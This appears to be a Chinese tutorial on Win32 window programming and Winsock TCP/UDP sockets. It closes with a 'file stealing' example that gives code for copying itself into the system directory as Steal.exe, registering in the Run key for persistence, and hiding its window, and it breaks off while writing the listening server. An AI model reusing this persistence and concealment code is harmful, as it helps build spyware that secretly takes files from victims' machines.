目录
1.windows编程
1.1 windows编程基础知识
(1) 窗口
窗口是Windows本身及其应用程序的基本界面单位,是应用程序生成的显示在屏幕上的一个矩形区域,是应用程序与用户间的直接接口;应用程序控制与窗口有关的一切内容,包括窗口的大小、风格、位置及窗口内显示的内容等。
(2)事件驱动
Windows采用事件驱动方式,即程序的流程不是由代码编写的顺序来控制的,而是由事件的发生来控制的,所有的事件是无序的,因此Windows应用程序是密切围绕信息的产生与处理而展开的,主要任务就是对接收事件发出的信息进行排序和处理。程序的执行过程就是选择事件和处理事件的过程,而当没有如何事件触发时,程序会因为查询事件队列失败而进入睡眠状态,从而释放CPU。
(3)句柄(非常重要!)
句柄(Handle)是整个Windows编程的基础。一个句柄是指使用的唯一的整数值,即以一个字节(程序中64位为8字节)长的数值,来标识应用程序中的不同对象和同类中的不同的实例,如一个窗口、按钮、滚动条、输出设备或文件等。应用程序能够通过句柄访问对应的对象的信息。
句柄是很重要的。但是大家是不是对句柄这东西感觉好难理解。句柄?什么东西啊!说实话,当我听老师讲句柄的时候,我也是一头雾水。后来我去网上查资料的时候发现了一个很好的解释,句柄它就是一个ID,一个标识符。怎么用呢?很简单。大家都知道C++怎么定义一个整型变量吧。
int x;//定义一个整形变量
接下来我们定义一个窗口句柄。
HWND hwnd;//定义一个窗口句柄
我们想表示一个数,就用int,想表示一种windows应用程序对象,就用句柄,常见句柄如下:
句柄类型 | 说明 |
---|---|
HWND | 窗口句柄 |
HINSTANCE | 程序实例句柄 |
HCURSOR | 鼠标句柄 |
HFONT | 字体句柄 |
HIPEN | 画笔句柄 |
HBRUSH | 画刷句柄 |
BIDC | 图形设备环境句柄 |
HBITMAP | 位图句柄 |
HICON | 图标句柄 |
HMENU | 菜单句柄 |
HFILE | 文件句柄 |
1.2windows编程一般流程
(1)程序入口函数(mian的变形)-复制即可
int WINAPI WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nShowCmd
)
{
}
在C/C++语言程序中,其中入口函数都是函数main()。但是在Windows程序中,在这个入口函数由WinMain()来代替
(2)定义窗口
// 1 定义和配置窗口对象
WNDCLASS wndcls;
wndcls.cbClsExtra = NULL;
wndcls.cbWndExtra = NULL;
wndcls.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
wndcls.hCursor = LoadCursor(NULL, IDC_ARROW);
wndcls.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wndcls.hInstance = hInstance;
//定义交互响应
wndcls.lpfnWndProc = MyWinProc;//回调
//定义窗口代号
wndcls.lpszClassName = clsName;
wndcls.lpszMenuName = NULL;
wndcls.style = CS_HREDRAW | CS_VREDRAW;
这部分配置一般是边查边写,不要求记住,不过要注意回调函数:
wndcls.lpfnWndProc = MyWinProc;//回调
MyWinProc 是我们的自定义函数,我们将这个函数回调到这个窗口对象中,将操作和窗口联系在一起
(3)注册窗口类
RegisterClass(&wcex);
虽然我们定义了一个窗口,但是系统并不知道这个窗口的存在,所以接下来我们通过RegisterClass()函数来注册窗口类。
(4)创建窗口
通过CreateWindow()来创建窗口,CreateWindow()函数定义如下:
HWND WINAPI CreateWindow( //返回值是窗口句柄
HWND WINAPI CreateWindow( //返回值是窗口句柄
LPCTSTR lpClassName, //窗口类名,要与注册时指定的名称相同
LPCTSTR lpWindowName, //窗口标题
DWORD dwStyle, //窗口样式
int X, //窗口最初的x位置
int y, //窗口最初的y位置
int nWidth, //窗口最初的x大小
int nHeight, //窗口最初的y大小
HWND hWndParent, //父窗口句柄
HMENU hMenu, //窗口菜单句柄
HINSTANCE hInstance, //应用程序实例句柄
LPVOID lpParam //指向一个传递给窗口的参数值的指针,以便后续在程序中加以引用
);
这里创建窗口时,参数如下:
HWND hwnd;
hwnd = CreateWindow(
clsName,
msgName,
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
NULL,
NULL,
hInstance,
NULL);
(5)显示窗口
更新并刷新窗口
ShowWindow(hwnd, SW_SHOWNORMAL);
UpdateWindow(hwnd);
(6)消息循环
//e 消息循环 GetMessage只有在接收到WM_QUIT才会返回0
//TranslateMessage 翻译消息 WM_KEYDOWN和WM_KEYUP 合并为WM_CAHR
MSG msg;
while (GetMessage(&msg, NULL, NULL, NULL))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
(7)窗口操作函数
LRESULT CALLBACK MyWinProc(
HWND hwnd, // handle to window
UINT uMsg, // message identifier
WPARAM wParam, // first message parameter word
LPARAM lParam // second message parameter long
)
{
int ret;
HDC hdc;
switch (uMsg)
{
case WM_CHAR:
case WM_LBUTTONDOWN:
case WM_PAINT:
case WM_CLOSE:
case WM_DESTROY:
default:
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
}
1.3 windows编程实例
按照上述流程操作,完整代码如下:
//doc main
//#include<tchar.h>
//windows winmain
//dos main
//
//目的:窗口程序
//1 掌握C++ 面向对象思想 2 理解消息机制 3 多态性
#include <windows.h>
#include <stdio.h>
LPCTSTR clsName = "My";
LPCTSTR msgName = "欢迎学习";
LRESULT CALLBACK MyWinProc(
HWND hwnd, // handle to window
UINT uMsg, // message identifier
WPARAM wParam, // first message parameter word
LPARAM lParam // second message parameter long
);
// a 设计一个窗口类 b 注册窗口类 c创建窗口 d显示以及更新窗口 e 消息循环
int WINAPI WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nShowCmd
)
{
//a 设计一个窗口类
// 1 定义和配置窗口对象
WNDCLASS wndcls;
wndcls.cbClsExtra = NULL;
wndcls.cbWndExtra = NULL;
wndcls.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
wndcls.hCursor = LoadCursor(NULL, IDC_ARROW);
wndcls.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wndcls.hInstance = hInstance;
//定义交互响应
wndcls.lpfnWndProc = MyWinProc;//回调
//定义窗口代号
wndcls.lpszClassName = clsName;
wndcls.lpszMenuName = NULL;
wndcls.style = CS_HREDRAW | CS_VREDRAW;
// b 注册窗口类
RegisterClass(&wndcls);
//c 创建窗口
HWND hwnd;
hwnd = CreateWindow(
clsName,
msgName,
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
NULL,
NULL,
hInstance,
NULL);
//d 显示和刷新窗口
ShowWindow(hwnd, SW_SHOWNORMAL);
UpdateWindow(hwnd);
//e 消息循环 GetMessage只有在接收到WM_QUIT才会返回0
//TranslateMessage 翻译消息 WM_KEYDOWN和WM_KEYUP 合并为WM_CAHR
MSG msg;
while (GetMessage(&msg, NULL, NULL, NULL))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
LRESULT CALLBACK MyWinProc(
HWND hwnd, // handle to window
UINT uMsg, // message identifier
WPARAM wParam, // first message parameter word
LPARAM lParam // second message parameter long
)
{
//uMsg 消息类型
int ret;
HDC hdc;
switch (uMsg)
{
case WM_CHAR:
char szChar[20];
sprintf_s(szChar, "您刚才按下了: %c", wParam);
MessageBox(hwnd, szChar, "char", NULL);
break;
case WM_LBUTTONDOWN:
MessageBox(hwnd, "检测鼠标左键按下", "msg", NULL);
break;
case WM_PAINT:
PAINTSTRUCT ps;
hdc = BeginPaint(hwnd, &ps);
TextOut(hdc, 0, 0, "www.baidu.com", strlen("www.baidu.com"));
EndPaint(hwnd, &ps);
MessageBox(hwnd, "重绘", "msg", NULL);
break;
case WM_CLOSE:
ret = MessageBox(hwnd, "是否真的结束?", "msg", MB_YESNO);
if (ret == IDYES)
{
DestroyWindow(hwnd);
}
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
return 0;
}
效果如下:
2.TCP
2.1 tcp结构
首先简单说一下OSI参考模型,OSI将网络分为七层,自下而上分别是物理层、数据链路层、网络层、传输层、会话层、表示层、应用层,而TCP/IP体系结构则将网络分为四层,自下而上分别是网络接口层、网络层、传输层、应用层。为了将每一层讲明白,我们讲网络接口层拆分为物理层和数据链路层,我在《图解TCP/IP》上面找了一张OSI参考模型和TCP/IP体系结构的对照图,大家可以看一下:
发送端想要发送数据到接收端。
1)首先应用层准备好要发送的数据,
2)然后给了传输层,传输层的主要作用就是为发送端和接收端提供可靠的连接服务,传输层将数据处理完后就给了网络层。
3)网络层的功能就是管理网络,其中一个核心的功能就是路径的选择(路由),从发送端到接收端有很多条路,网络层就负责管理下一步数据应该到哪个路由器。选择好了路径之后,数据就来到了数据链路层
4)数据链路层就是负责将数据从一个路由器送到另一个路由器。
5)然后就是物理层了,可以简单的理解,物理层就是网线一类的最基础的设备。
传输过程举例:
小明住在上海市长江路幸福小区5#666,现在小明在京东上面买了一部小米10Pro。京东在接到小米的订单后,工作人员从仓库中找到一部小米10Pro(应用层)。工作人员将手机打包好, 交给了京东物流(传输层)。接下来手机就到了转运中心(路由器),转运中心根据时间,成本等一系列因素决定下一步该发往哪一个转运中心(网络层)。决定好接下来发往哪一个转运中心后就开始用货车运输了,那么运输的过程就是数据链路层了,链路层负责将数据从一个端点送到另一个端点。那么货车行驶的道路就是物理层。几经周转,手机安全地送到了小明手上。
tcp协议举例:
发货之前工作人员首先得要确认一下路是不是通吧,比如现在是过年,物流全部停运不就是路不通吗,那还发什么货呀。要是没什么问题,物流全部正常运作就发货呗。手机到达小明家后,小明先拆开看看手机在运输途中有没有损坏,有损坏就联系客服处理,没问题就确认收货。再回到上面的定义中,面向连接指的是先建立连接再发送数据,也就是先确认路可以走得通再发货。可靠就是如果货物在运输过程中有损坏或者丢失就让京东重新发货,确保小明收到的手机是没有任何问题的。基于字节流的意思就是比如小明买了手机又买了手机配件,分开发货,几件物品不是在一个包裹里,一个一个发。在这个例子中,京东的工作人员和小明充当了TCP协议的角色,他们两个共同确保了货物的完整性。
2.2 socket概念
套接字(socket)是一个抽象层,应用程序可以通过它发送或接收数据,可对其进行像对文件一样的打开、读写和关闭等操作。套接字允许应用程序将I/O插入到网络中,并与网络中的其他应用程序进行通信。网络套接字是IP地址与端口的组合。
socket举例:
我们将一个小区比作一台计算机,一台计算机里面跑了很多程序,怎么区分程序呢,用的是端口,就好像小区用门牌号区分每一户人家一样。手机送到小明家了,怎么进去呢?从大门进啊,怎么找到大门呢?门牌号呀。不就相当于从互联网来的数据找到接收端计算机后再根据端口判断应该给哪一个程序一样吗。小明家的入口就可以用小区地址+门牌号进行唯一表示,那么同样的道理,程序也可以用IP+端口号进行唯一标识。那么这个程序的入口就被称作Socket。
socket英文意思是”插座”的意思,网络数据传输用的软件设备。创建一个socket就相当于安装了一部电话机。
2 .3 tcp协议
2.4 tcp 服务端基本代码
2.4.1 初始化网络库
照抄即可,错误判断可自定义
// 加载套接字库
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(2, 2);
// 初始化套接字库
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0)
{
printf("WSAStartup 初始化错误");
return err;
}
if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
{
printf("LOBYTE 初始化错误");
WSACleanup();
return -1;
}
2.4.2 新建套接字用来表示服务端
// 新建套接字
SOCKET sockSrv = socket(AF_INET, SOCK_STREAM, 0);
AF_INET
指定使用 IPv4 地址。SOCK_STREAM
指定套接字类型为流式套接字,这意味着它用于 TCP(传输控制协议)连接,保证了数据传输的可靠性。- 最后一个参数
0
指定使用默认协议,对于SOCK_STREAM
,默认协议就是 TCP。
2.4.3 绑定bind(配置套接字)
创建的socksrv没有具体的含义,而SOCKADDR_IN
结构体实际上用于定义套接字的网络地址,其中包括 IP 地址和端口号。当调用 bind()
函数时,sockSrv
套接字与 SOCKADDR_IN
结构体中指定的 IP 地址和端口号绑定。这样,sockSrv
就能表示一个在特定 IP 地址和端口上监听的服务端的端点了
SOCKADDR_IN addrSrv;
addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
addrSrv.sin_family = AF_INET;
addrSrv.sin_port = htons(6005);//6000被占用了
// 绑定套接字到本地IP地址,端口号6000
if(SOCKET_ERROR == bind(sockSrv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
{
printf("bind errorNum = %d\n", GetLastError());
return -1;
}
2.4.4监听 listen
其中5表示消息队列中最多5个链接
if (SOCKET_ERROR == listen(sockSrv, 5)) {
printf("listen errorNum = %d\n", GetLastError());
return -1;
}
2.4.5 accept
由于客户端也是使用套接字来通信,因此我们使用一个套接字来接收客户端的socket
由于上面将socksrv设置为监听状态,我们只需要将socksrv中监听到的消息先将其端口ip等信息传给addrCli,再用addrCli来创建新的socket(sockConn ),这个步骤统一为accept函数
SOCKADDR_IN addrCli;
int len = sizeof(SOCKADDR);
SOCKET sockConn = accept(sockSrv, (SOCKADDR*)&addrCli, &len);
2.4.6 send
这里我们将收到的客户端的地址,加上自定义的格式字符,回传给了客户端(sockConn)
char sendBuf[100] = {0};
sprintf_s(sendBuf, 100, "Welcome %s to C++!", inet_ntoa(addrCli.sin_addr));
send(sockConn, sendBuf, strlen(sendBuf) + 1, 0);
注意:sprintf_s是很常用的字符串处理函数,表示将最后两个的格式化处理后的字符存到sendBuf中(不存在打印过程)
sprintf_s(sendBuf, 100, "Welcome %s to C++!", inet_ntoa(addrCli.sin_addr));
2.4.7 recv
这里将客户端(sockConn)中的消息用recvBuf接收,然后打印出来
char recvBuf[100];
//接收数据
recv(sockConn, recvBuf, 100, 0);
//打印接收的数据
printf("%s", recvBuf);
2.4.8 tcp服务端完整代码(使用可直接复制)
//简例
#include <WinSock2.h>
#include <iostream>
#pragma comment(lib, "ws2_32.lib")
int main()
{
// 加载套接字库
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(2, 2);
// 初始化套接字库
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0)
{
printf("WSAStartup 初始化错误");
return err;
}
if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
{
printf("LOBYTE 初始化错误");
WSACleanup();
return -1;
}
// 新建套接字
SOCKET sockSrv = socket(AF_INET, SOCK_STREAM, 0);
//配置套接字,由于SOCKET类型不好配置,因此使用SOCKADDR_IN进行配置
SOCKADDR_IN addrSrv;
addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
addrSrv.sin_family = AF_INET;
addrSrv.sin_port = htons(6005);//6000被占用了
// 绑定套接字到本地IP地址,端口号6000
if(SOCKET_ERROR == bind(sockSrv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
{
printf("bind errorNum = %d\n", GetLastError());
return -1;
}
// 开始监听
if (SOCKET_ERROR == listen(sockSrv, 5)) {
printf("listen errorNum = %d\n", GetLastError());
return -1;
}
//创建一个套接字,用来接收客户端传过来的消息
SOCKADDR_IN addrCli;
int len = sizeof(SOCKADDR);
printf("server start \n");
while (1)
{
// 接收客户连接
//printf("begin");
SOCKET sockConn = accept(sockSrv, (SOCKADDR*)&addrCli, &len);
printf("accept massage\n");
char sendBuf[100] = {0};
sprintf_s(sendBuf, 100, "Welcome %s to C++!", inet_ntoa(addrCli.sin_addr));
//发送数据
send(sockConn, sendBuf, strlen(sendBuf) + 1, 0);
char recvBuf[100];
//接收数据
recv(sockConn, recvBuf, 100, 0);
//打印接收的数据
printf("%s", recvBuf);
closesocket(sockConn);
}
closesocket(sockSrv);
WSACleanup();
system("pause");
return 0;
}
为了多次接收,我们将accept等一系列操作放到while循环中处理
同时注意:
1)while中每次处理结束记得关闭客户端socket
2)while外,记得关闭服务器socket
2.5 tcp客户端基本代码
2.5.1 初始化网络库
和服务器端一样
WORD wVersion;
WSADATA wsaData;
int err;
wVersion = MAKEWORD(1, 1);
err = WSAStartup(wVersion, &wsaData);
if (err != 0)
{
return err;
}
if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
{
WSACleanup();
return -1;
}
2.5.2 创建客户端套接字
注意和客户端设置相同
SOCKET sockCli = socket(AF_INET, SOCK_STREAM, 0);
if(sockCli == INVALID_SOCKET) {
std::cerr << "Socket creation failed with error: " << WSAGetLastError() << std::endl;
WSACleanup();
return -1;
}
2.5.3 连接服务器
首先使用 SOCKADDR_IN配置我们要连接的服务器的信息(ipconfig查询自己的ipv4地址),然后将sockCli连接上去,sockCli就能表示服务器端,我们可以对其进行数据传输
SOCKADDR_IN addrSrv;
addrSrv.sin_addr.S_un.S_addr = inet_addr("113.54.129.186");
addrSrv.sin_family = AF_INET;
addrSrv.sin_port = htons(6005);
//向服务器发起连接请求
if(SOCKET_ERROR == connect(sockCli, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR))) {
std::cerr << "Connect failed with error: " << WSAGetLastError() << std::endl;
closesocket(sockCli);
WSACleanup();
return -1;
}
2.5.4 recv
直接将服务器发过来的消息读到buf里面
// 接收数据
char recvBuf[100] = {0};
if(SOCKET_ERROR == recv(sockCli, recvBuf, 100, 0)) {
std::cerr << "Receive failed with error: " << WSAGetLastError() << std::endl;
closesocket(sockCli);
WSACleanup();
system("pause");
return -1;
}
std::cout << "Received: " << recvBuf << std::endl;
2.5.5 send
将snedBuf中的消息发给服务器
char sendBuf[] = "hello,world";
if(SOCKET_ERROR == send(sockCli, sendBuf, strlen(sendBuf) + 1, 0)) {
std::cerr << "Send failed with error: " << WSAGetLastError() << std::endl;
closesocket(sockCli);
WSACleanup();
system("pause");
return -1;
}
2.5.5 完整代码
#include <WinSock2.h>
#include <iostream>
#pragma comment(lib, "ws2_32.lib")
int main()
{
char sendBuf[] = "hello,world";
WORD wVersion;
WSADATA wsaData;
int err;
wVersion = MAKEWORD(1, 1);
err = WSAStartup(wVersion, &wsaData);
if (err != 0)
{
return err;
}
if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
{
WSACleanup();
return -1;
}
// 创建套接字
SOCKET sockCli = socket(AF_INET, SOCK_STREAM, 0);
SOCKADDR_IN addrSrv;
addrSrv.sin_addr.S_un.S_addr = inet_addr("113.54.129.186");
addrSrv.sin_family = AF_INET;
addrSrv.sin_port = htons(6005);
//向服务器发起连接请求
connect(sockCli, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR));
// 接收数据
char recvBuf[100] = {0};
recv(sockCli, recvBuf, 100, 0);
std::cout << recvBuf << std::endl;
// 发送数据
send(sockCli, sendBuf, strlen(sendBuf) + 1, 0);
//std::cout << sendBuf << std::endl;
// 关闭套接字
closesocket(sockCli);
WSACleanup();
// 暂停
system("pause");
return 0;
}
有些网络容错处理没有写上,参考单独的每一部分代码即可
2.6 tcp通信效果
效果图:
3.UDP
3.1 UDP服务器端
3.1.1 初始化网络库
// 初始化套接字库
WORD wVersion;
WSADATA wsaData;
int err;
wVersion = MAKEWORD(1, 1);//和winsock2中的2对应
err = WSAStartup(wVersion, &wsaData);
if (err != 0)
{
return err;
}
if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
{
WSACleanup();
return -1;
}
3.1.2 创建服务器端套接字
//创建套接字
SOCKET socketsrv = socket(AF_INET, SOCK_DGRAM, 0);
if (INVALID_SOCKET == socketsrv) {
printf("socket create error: %d", GetLastError());
return -1;
}
3.1.3 bind绑定服务器端
//分配地址端口到socketsrv
SOCKADDR_IN addrsrv;
addrsrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);//htonl = host to net long
addrsrv.sin_family = AF_INET;
addrsrv.sin_port = htons(8545);
//绑定(记得addrsrv加上&)
if (SOCKET_ERROR == bind(socketsrv, (SOCKADDR*)&addrsrv, sizeof(SOCKADDR_IN))) {
printf("bind error: %d \n", GetLastError());
return -1;
}
3.1.4 recvfrom
没有listen和connet,直接进行接收数据,创建一个socket接收客户端数据
SOCKADDR_IN addrcli;//目的套接字,用来接收客户端的数据
int len = sizeof(SOCKADDR_IN);
char recvbuf[100] = {};
recvfrom(socketsrv, recvbuf, 100, 0, (SOCKADDR*)&addrcli,&len);
cout << recvbuf << endl;
3.1.5 sendto
sprintf_s(sendbuf, 100, "ack:%s", recvbuf);
sendto(socketsrv, sendbuf, 100, 0, (SOCKADDR*)&addrcli, len);
注意,sendto和send,recvfrom和recv的区别
一个是从先接收到客户端socket中再接收,一个是从服务端socket中直接接收,相当于把accept这一步省了
3.1.6 完整代码
#include<WinSock2.h>
#include<iostream>
using namespace std;
#pragma comment(lib, "ws2_32.lib")
int main() {
printf("UDP SERVER:\n");
// 初始化套接字库
WORD wVersion;
WSADATA wsaData;
int err;
wVersion = MAKEWORD(1, 1);//和winsock2中的2对应
err = WSAStartup(wVersion, &wsaData);
if (err != 0)
{
return err;
}
if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
{
WSACleanup();
return -1;
}
//创建套接字
SOCKET socketsrv = socket(AF_INET, SOCK_DGRAM, 0);
if (INVALID_SOCKET == socketsrv) {
printf("socket create error: %d", GetLastError());
return -1;
}
//分配地址端口到socketsrv
SOCKADDR_IN addrsrv;
addrsrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);//htonl = host to net long
addrsrv.sin_family = AF_INET;
addrsrv.sin_port = htons(8545);
//绑定(记得addrsrv加上&)
if (SOCKET_ERROR == bind(socketsrv, (SOCKADDR*)&addrsrv, sizeof(SOCKADDR_IN))) {
printf("bind error: %d \n", GetLastError());
return -1;
}
//没有listen和connet
//等待接收数据
SOCKADDR_IN addrcli;//目的套接字,用来接收客户端的数据
int len = sizeof(SOCKADDR_IN);
char recvbuf[100] = {};
char sendbuf[100] = "ni hao ya!";
while (1) {
//第一个参数主机
recvfrom(socketsrv, recvbuf, 100, 0, (SOCKADDR*)&addrcli,&len);
cout << recvbuf << endl;
sprintf_s(sendbuf, 100, "ack:%s", recvbuf);
sendto(socketsrv, sendbuf, 100, 0, (SOCKADDR*)&addrcli, len);
}
closesocket(socketsrv);
system("pause");
return 0;
}
3.2 UDP客户端
3.2.1 初始化网络库
WORD wVersion;
WSADATA wsaData;
int err;
wVersion = MAKEWORD(1, 1);
err = WSAStartup(wVersion, &wsaData);
if (err != 0)
{
return err;
}
if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
{
WSACleanup();
return -1;
}
3.2.2 创建客户端套接字
//创建套接字
SOCKET socketcli = socket(AF_INET, SOCK_DGRAM, 0);
if (INVALID_SOCKET == socketcli) {
printf("socket create error: %d", GetLastError());
return -1;
}
3.2.3 配置服务器信息
这里没有 connect,直接使用addrSrv
//分配地址端口到socketsrv
SOCKADDR_IN addrsrv;
addrsrv.sin_addr.S_un.S_addr = inet_addr("113.54.129.186");//htonl = host to net long
addrsrv.sin_family = AF_INET;
addrsrv.sin_port = htons(8545);//注意这里要接收short不是long
3.2.4 sendto
int len = sizeof(SOCKADDR);
char sendbuf[] = "hello!!!!";
//发送数据
int sendResult = sendto(socketcli, sendbuf, strlen(sendbuf) + 1, 0, (SOCKADDR*)&addrsrv, len);
if (sendResult == SOCKET_ERROR) {
printf("sendto failed: %d", WSAGetLastError());
closesocket(socketcli);
WSACleanup();
return -1;
}
3.2.5 recvfrom
char recvbuf[100] = { 0 };
int iLen = recvfrom(socketcli, recvbuf, 100, 0, (SOCKADDR*)&addrsrv, &len); //recvfrom(socketcli, recvbuf, 100, 0, (SOCKADDR*)&addrsrv, &len);
if (iLen < 0)
{
printf("recv errorNum = %d\n", GetLastError());
return -1;
}
3.2.6 完整代码:
#include<WinSock2.h>
#include<iostream>
#pragma comment(lib, "ws2_32.lib")
int main() {
printf("UDP CLINET:\n");
// 初始化套接字库
WORD wVersion;
WSADATA wsaData;
int err;
wVersion = MAKEWORD(1, 1);
err = WSAStartup(wVersion, &wsaData);
if (err != 0)
{
return err;
}
if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
{
WSACleanup();
return -1;
}
//创建套接字
SOCKET socketcli = socket(AF_INET, SOCK_DGRAM, 0);
if (INVALID_SOCKET == socketcli) {
printf("socket create error: %d", GetLastError());
return -1;
}
//分配地址端口到socketsrv
SOCKADDR_IN addrsrv;
addrsrv.sin_addr.S_un.S_addr = inet_addr("113.54.129.186");//htonl = host to net long
addrsrv.sin_family = AF_INET;
addrsrv.sin_port = htons(8545);//注意这里要接收short不是long
int len = sizeof(SOCKADDR);
char sendbuf[] = "hello!!!!";
char recvbuf[100] = { 0 };
//发送数据
//sendto(socketcli, sendbuf, 100, 0, (SOCKADDR*)&addrsrv, len);
int sendResult = sendto(socketcli, sendbuf, strlen(sendbuf) + 1, 0, (SOCKADDR*)&addrsrv, len);
if (sendResult == SOCKET_ERROR) {
printf("sendto failed: %d", WSAGetLastError());
closesocket(socketcli);
WSACleanup();
return -1;
}
//接收数据
printf("start:::");
int iLen = recvfrom(socketcli, recvbuf, 100, 0, (SOCKADDR*)&addrsrv, &len); //recvfrom(socketcli, recvbuf, 100, 0, (SOCKADDR*)&addrsrv, &len);
if (iLen < 0)
{
printf("recv errorNum = %d\n", GetLastError());
return -1;
}
printf("start");
printf("recv:%s", recvbuf);
//cout << recvbuf << endl;
closesocket(socketcli);
system("pause");
return 0;
}
3.3 UDP通信演示
4.网络编程实例-文件窃取
4.1 项目可复用函数
4.1.1 保证大量数据完整读取
int MySocketRecv0(int sock, char* buf, int dateSize)
{
//循环接收
int numsRecvSoFar = 0;
int numsRemainingToRecv = dateSize;
printf("enter MySocketRecv0\n");
while (1)
{
int bytesRead = recv(sock, &buf[numsRecvSoFar], numsRemainingToRecv, 0);
printf("###bytesRead = %d,numsRecvSoFar = %d, numsRemainingToRecv = %d\n",
bytesRead, numsRecvSoFar, numsRemainingToRecv);
if (bytesRead == numsRemainingToRecv)
{
return 0;
}
else if (bytesRead > 0)
{
numsRecvSoFar += bytesRead;
numsRemainingToRecv -= bytesRead;
continue;
}
else if ((bytesRead < 0) && (errno == EAGAIN))
{
continue;
}
else
{
return -1;
}
}
}
int MySocketSend0(int socketNum, unsigned char* data, unsigned dataSize)
{
unsigned numBytesSentSoFar = 0;
unsigned numBytesRemainingToSend = dataSize;
while(1)
{
int bytesSend = send(socketNum, (char const*)(&data[numBytesSentSoFar]), numBytesRemainingToSend, 0/*flags*/);
if(bytesSend == numBytesRemainingToSend)
{
return 0;
}
else if(bytesSend > 0)
{
numBytesSentSoFar += bytesSend;
numBytesRemainingToSend -= bytesSend;
continue;
}
else if((bytesSend < 0)&&(errno == 11))
{
continue;
}
else
{
return -1;
}
}
}
4.1.2 添加注册表启动项
void AddToSystem()
{
HKEY hKEY;
char CurrentPath[MAX_PATH];
char SysPath[MAX_PATH];
long ret = 0;
LPSTR FileNewName;
LPSTR FileCurrentName;
DWORD type = REG_SZ;
DWORD size = MAX_PATH;
LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //regedit win + R
GetSystemDirectory(SysPath, size);
GetModuleFileName(NULL, CurrentPath, size);
//Copy File
FileCurrentName = CurrentPath;
FileNewName = lstrcat(SysPath, "\\Steal.exe");
struct _finddata_t Steal;
printf("ret1 = %d,FileNewName = %s\n", ret, FileNewName);
if (_findfirst(FileNewName, &Steal) != -1)
return;//已经安装!
printf("ret2 = %d\n", ret);
int ihow = MessageBox(0, "该程序只允许用于合法的用途!\n继续运行该程序将使这台机器处于被监控的状态!\n如果您不想这样,请按“取消”按钮退出。\n按下“是”按钮该程序将被复制到您的机器上,并随系统启动自动运行。\n按下“否”按钮,程序只运行一次,不会在您的系统内留下任何东西。", "警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST);
if (ihow == IDCANCEL)
exit(0);
if (ihow == IDNO)
return;//只运行一次
//复制文件
ret = CopyFile(FileCurrentName, FileNewName, TRUE);
if (!ret)
{
return;
}
//加入注册表
printf("ret = %d\n", ret);
ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, Rgspath, 0, KEY_WRITE, &hKEY);
if (ret != ERROR_SUCCESS)
{
RegCloseKey(hKEY);
return;
}
//Set Key
ret = RegSetValueEx(hKEY, "Steal", NULL, type, (const unsigned char*)FileNewName, size);
if (ret != ERROR_SUCCESS)
{
RegCloseKey(hKEY);
return;
}
RegCloseKey(hKEY);
}
4.1.3 隐藏自身
void HideMyself()
{
// 拿到当前的窗口句柄
HWND hwnd = GetForegroundWindow();
ShowWindow(hwnd, SW_HIDE);
}
4.2 服务器端
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
#define MAX_SIZE 1024
//控制台打印错误码的函数
void ErrorHanding(const char *msg)
{
fputs(msg, stderr);
fputc('\n', stderr);
exit(1);
}
int main()
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
char msg[MAX_SIZE] = { 0 };
wVersionRequested = MAKEWORD(2, 2);
// 1、初始化套接字库
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0)
{
ErrorHanding("WSAStartup error");
}
if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
{
printf("LOBYTE errorNum = %d\n", GetLastError());
WSACleanup();
ErrorHanding("LOBYTE error");
return -1;
}
// 2 建立socket
SOCKET hServerSock = socket(PF_INET, SOCK_STREAM, 0);
if (INVALID_SOCKET == hServerSock)
{
ErrorHanding("socket error");
}
SOCKADDR_IN addrSrv;
addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
addrSrv.sin_family = AF_INET;
addrSrv.sin_port = htons(6000);
// 3 分配电话号码
// 绑定套接字到本地IP地址,端口号9527
if (SOCKET_ERROR == bind(hServerSock, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
{
ErrorHanding("socket error");
}
